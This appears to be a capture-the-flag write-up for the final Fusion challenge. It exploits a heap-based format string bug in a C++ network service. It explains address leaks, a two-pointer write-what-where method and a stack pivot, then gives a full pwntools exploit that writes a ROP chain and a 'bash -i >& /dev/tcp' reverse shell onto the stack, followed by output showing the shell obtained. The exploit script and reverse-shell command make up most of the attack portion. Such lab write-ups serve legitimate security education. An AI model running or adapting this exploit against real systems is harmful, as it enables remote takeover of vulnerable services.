• congratz ! we have reached the final fusion challenge .
  • the author notes that is is a heap challenge , we have no source code , a blackbox ,and it is written in cpp as well , so we're in for a ride .
  • the protections as stated by the author are as follows :
Option Setting
Vulnerability Type Heap
Position Independent Executable Yes
Read only relocations No
Non-Executable stack No
Non-Executable heap No
Address Space Layout Randomisation Yes
Source Fortification No
  • however , running checksec on the binary , it sure has NX and partial RELRO .
  • furthermore , technically this is not a "heap" challenge , this challenge's vulnearbility is a heap based format string , and if we call that "heap" then normal format strings should be classified "stack" , which they aren't , as we can see in previous challenges.

Analysis

  • we have no source code , connecting to the binary and trying some common inputs (too long , formats) , this is obviously a format string , opening it in ida with some call tracing confirms this :
(.text:000077EA)
...
    message.msg_iov = (struct iovec *)&v17;
    message.msg_iovlen = 1;
    v6 = recvmsg(fd, &message, flags);
    v10 = boost::system::system_category();
...
...
(.text:0000C1EC)
LABEL_18:
  v12 = 0x10000;
  v13 = snprintf(v7, 0x800u, (const char *)&a1->buff);
  boost::system::system_category();
  v14 = *(_DWORD *)a1;
...
  • the program reads our input into the heap and gives that to snprintf without sanitization , simple enough in concept .

Exploit strategy

  • ASLR and PIE are not a problem in this challenge , since the leaks we can get by the format string cover every memory region :
 nc 192.168.122.60 20014
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
0xb8e12a10.0xb786d700.(nil).0xbfe45250.0xb8e12a10.0xb786d700.(nil).0xb75ff2e3.0xb8e12a10.0xb786e0d0
  • cross referencing this with the vmmap dump of pwndbg confirms this , the fourth argument leaks a stack address that is always at a constant offset from the return address location , the sixth leaks PIE base, and the eighth leaks libc base ,, and that's all we shall need leak-wise.

the problem

  • the hard thing about this is that since our inputs are in the heap , we cannot write our own pointers into the stack and use them to write with %n , so we cannot do this the classic format string way , instead we will be writing our things-to-be-written in 2 byte chunks.
  • we also cannot write huge amounts with the format (the limit is 2048 , as in the code above).
  • luckily we still have some hope , as scrolling through the stack and examining their contents , we have two addresses in the stack that themselves point to a stack address , this is ideal because when we have something like :
    [stackaddr1(0xbfe4XXXX)] -> [stackaddr2 (0xbfe4YYYY)] -> somewhere in the stack
  • we can modify the lowest bytes of stackaddr2 (YYYY) to make it point anywhere between 0xbfe40000 and 0xbfe4ffff , that's enough for anything we wanna do in the stack ie. modifiying the stored return address of a stack frame .

  • we still need 2 pointer of this type , why ? ,because since we can write only 2bytes in a reliable way . let's say we wanna write 0xfeedbeef to the location 0xffffaaaa , we should have two pointers , one pointing to the least significant bytes aaaa and the other to ffff (the one pointing to aaaa +2 , simply) , and by using the two pointer combo to write 2 bytes each , we one shot the address construction in a single call to snprintf.

 ptr A → ptr B → target
 ptr C → ptr D → target+2
  • this is useful because if we had only one such pointer , we could only modify half a pointer at a time , and doing that to something like the return pointer will result in crash before our second write goes through .

  • with this in hand , we practically have a write-what-where primitive , next is to find a reliable way to turn this into a shell .

  • the first thing that comes to mind is to either overwrite a got entry , or overwrite the return address with something like system and of course set the argument for it to execute a shell , the problem here is that placing the argument address and overwriting the return address requires two iterations of the mechanism that calls snprintf , and at each iterations anything we put in the argument location is overwritten , so we cannot do this .

  • also overwriting an earlier stack frame's return address doesn't work , the loop never exits at least not in a user influenced way

  • we cannot overwrite a got entry either , since for some reason ,calls including the one to snprintf do not use the plt but are called directly .

  • the solution i found is to write my reverse shell command string , and the rop chain that calls system into a location up the stack that is practically untouched , and the pivoting the stack into that location using a add esp,X ;ret gadget , this works because we can one shot write the gadget address into the location of the return address , luckily i found this gadget :

0x00004ef5 add esp, 0x220; pop ebx; pop esi; pop edi; ret;
  • this will let us pivot the stack 560 bytes above the current return address , that area is untouched by our program the whole duration that we are doing this .

  • so what we should do is implement a way to do a www using the double pointer method i described above , and using that to :

  • construct our reverse shell command in the stack (we know its address by the leaks)
  • write the rop chain that calls system with our command 260 bytes above the location of the return address, this is like : [system_addr][exit_addr][reverse_shell_command_addr]
  • overwrite the return address with the address of the gadget we found , so at return the program executes our chain
  • profit !

  • the stack at control flow hijack time would look like :

                HIGH ADDRESSES
        ┌──────────────────────────────┐
+0x23C    "sh\x00...."                
        ├──────────────────────────────┤
+0x238    "/tcp/XXXX"                 
        ├──────────────────────────────┤
+0x234    "/dev/..."                  
        ├──────────────────────────────┤
+0x230    " >& ..."                   
        ├──────────────────────────────┤
+0x22C    "-i &..."                   
        ├──────────────────────────────┤
+0x228    "bash"                      
        ├──────────────────────────────┤
+0x224    &("bash -i >& /dev/...")      argument to system
        ├──────────────────────────────┤
+0x220    exit@libc                   
        ├──────────────────────────────┤
+0x21C    system@libc                   ROP entry
        ├──────────────────────────────┤
                                      
           .... other frames          
                                      
        ├──────────────────────────────┤
ret+0x00  pivot gadget                
        └──────────────────────────────┘
                LOW ADDRESSES

The exploit

  • note : i reserve connection in bulk for each www operation before writing anything , this is because of two reason:
  • connections proved unreliable for 2+ writes
  • opening a connection after already doing some write often crashes the program
  • this way i found it to work with a 100% reliability , instead of around 80% i used to get with two writes per connection
  • enough talk , the exploit :
#!/usr/bin/python3
from pwn import *
context.log_level='critical'

#network stuff
serverip = 'redacted'
my_local_ip = 'redacted'
port = 20014
shell_port = 1337
reverse_shell = b'bash -i >& /dev/tcp/'+my_local_ip.encode()+f'/{shell_port}'.encode()+b' <&1\n'
'''padding to be 4 bytes aligned,
 essatial otherwise we could have
  the last bytes not written'''
reverse_shell += b'\x00' *(len(reverse_shell) % 4)

processarr = ['nc','-v',"-lp" ,str(shell_port)]
shell = process(processarr)

#to dynamically compute addresses
libcelf = ELF('./libc.so.6') 
level14elf = ELF('./level14')

#offsets
pivot = 0x00004ef5# add esp, 0x220; pop ebx; pop esi; pop edi; ret;
ret_addr_leak_offset = 388
pieleak_base_offset = 46848
libcleak_base_offset = 455395


#argument position of stack pointers to stack pointer
#these are key for this attack
stktostk_1 = 135 
stktostk_2 = stktostk_1 + 92

#facilities and tooling
def testshell(p):
    print ("[i] testing reverse shell")
    p.sendline(b'echo congratz?\n')
    resp = p.recvuntil(b'congratz?',timeout=10)
    if b'congratz' in resp :
        print("\ncongratz!\n")
        p.interactive()
        return
    print("\nno shell !\n")
    return 

def parseleak(leak):
    for match in re.finditer(b'0x[0-9a-fA-F]+', leak):
        addr = int(match.group(), 16)
        if addr :
            return addr

def nth_formatleak(n,p):
    p.send(f'%{n}$p\n'.encode())
    leak = p.recv(10)
    #flush
    p.recv()
    leak = parseleak(leak)
    return leak
def fmt_write_2bytes_at(written_count,arg_num,value) :
    #rounding , since we'll write only two byte 
    needtowrite = (value - (written_count & 0xffff)) & 0xffff
    #for debug
    # print (f"[i] writing byte   : {hex(value)}")
    # print (f"[i] written so far : {hex(written_count)}")
    # print (f"[i] need to write  : {hex(needtowrite)}\n")
    write_needed = f"%{needtowrite}c".encode()
    fmt = bytearray()
    fmt += write_needed
    fmt += f"%{arg_num}$hn".encode()
    return fmt

def write_array(writes) :
    written = 0
    payload = bytearray()
    for write2bytes in writes :
        payload += fmt_write_2bytes_at(written,write2bytes[1],write2bytes[0])
        written_now = (write2bytes[0] - (written & 0xffff)) & 0xffff
        written += written_now
    return payload

def www(addr,value,k1,k2) :
    print(f"[!] writing {hex(value)} to {hex(addr)}")
    addr_low2bytes = addr & 0xffff
    value_low2bytes = value & 0xffff
    value_high2bytes = value >> 16
    addrwrites = [
            (addr_low2bytes     ,stktostk_1),
            (addr_low2bytes + 2 ,stktostk_2)
            ]
    writes = [
        (value_low2bytes,low),
        (value_high2bytes,high)
        ]
    payload = write_array(addrwrites)
    k1.send(payload)
    payload = write_array(writes)
    k2.send(payload)
    return


#sockets become unstable after one www operation
#so we just reserve one for each , proved much more reliable
#reserving them after any single www occured will crash
socketarr1 = []
for i in range(4):
    k1 = remote(serverip,port) 
    k2 = remote(serverip,port) 
    socketarr1.append(k1)
    socketarr1.append(k2)


#these are specifically for writing the reverse_shell command string
socketarr = []
for i in range(len(reverse_shell)//4):
    k1 = remote(serverip,port) 
    k2 = remote(serverip,port) 
    socketarr.append(k1)
    socketarr.append(k2)




#getting leaks
p = remote(serverip,port)

stackleak = nth_formatleak(4,p)
retaddr_addr = stackleak - ret_addr_leak_offset
retaddr_addr_lower2bytes = retaddr_addr & 0xffff
print(f"[!] stack retaddr position : {hex(retaddr_addr)}")

pie_leak = nth_formatleak(6,p)
level14elf.address = pie_leak - pieleak_base_offset
print(f"[!] pie base : {hex(level14elf.address)}")


libc_leak = nth_formatleak(8,p)
libcelf.address = libc_leak - libcleak_base_offset
print(f"[!] libc base : {hex(libcelf.address)}")


system_libc = libcelf.symbols['system']
exit_libc = libcelf.symbols['exit']


'''arg position of the pointer to the
lower two bytes of the target of www'''
low = 138
'''arg position of the pointer to the
higher two bytes of the target of www'''
high = low + 125


fake_stack_location = retaddr_addr + 560
pivot_gadget_location = pivot + level14elf.address

#writing rop chain
www(fake_stack_location   ,system_libc,socketarr1[0],socketarr1[1])
www(fake_stack_location +4,exit_libc,socketarr1[2],socketarr1[3])
www(fake_stack_location +8,retaddr_addr+572,socketarr1[4],socketarr1[5])

#writing reverse_shell command string
for i in range(len(reverse_shell)//4):
    slice = reverse_shell[i*4:(i+1)*4]
    slice_int = u32(slice)
    www(fake_stack_location +12+i*4,slice_int,socketarr[i*2],socketarr[i*2+1])


#overwriting ret to pivot gadget
www(retaddr_addr,pivot_gadget_location,socketarr1[6],socketarr1[7])

#congratz
testshell(shell)

testing this :

 ./level14_exploit.py
[!] stack retaddr position : 0xbf999b5c
[!] pie base : 0xb7810000
[!] libc base : 0xb753e000
[!] writing 0xb757ab20 to 0xbf999d8c
[!] writing 0xb75709e0 to 0xbf999d90
[!] writing 0xbf999d98 to 0xbf999d94
[!] writing 0x68736162 to 0xbf999d98
[!] writing 0x20692d20 to 0xbf999d9c
[!] writing 0x2f20263e to 0xbf999da0
[!] writing 0x2f766564 to 0xbf999da4
[!] writing 0x2f706374 to 0xbf999da8
[!] writing 0x2e323931 to 0xbf999dac
[!] writing 0x2e383631 to 0xbf999db0
[!] writing 0x2e323231 to 0xbf999db4
[!] writing 0x33312f31 to 0xbf999db8
[!] writing 0x3c203733 to 0xbf999dbc
[!] writing 0xa3126 to 0xbf999dc0
[!] writing 0xb7814ef5 to 0xbf999b5c
[i] testing reverse shell

congratz!


congratz?
\x1b]0;I have no name!@fusion: /\x07I have no name!@fusion:/$
\x1b]0;I have no name!@fusion: /\x07I have no name!@fusion:/$ $ bash
bash
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ whoami
whoami: cannot find name for user ID 20014
$

and voila.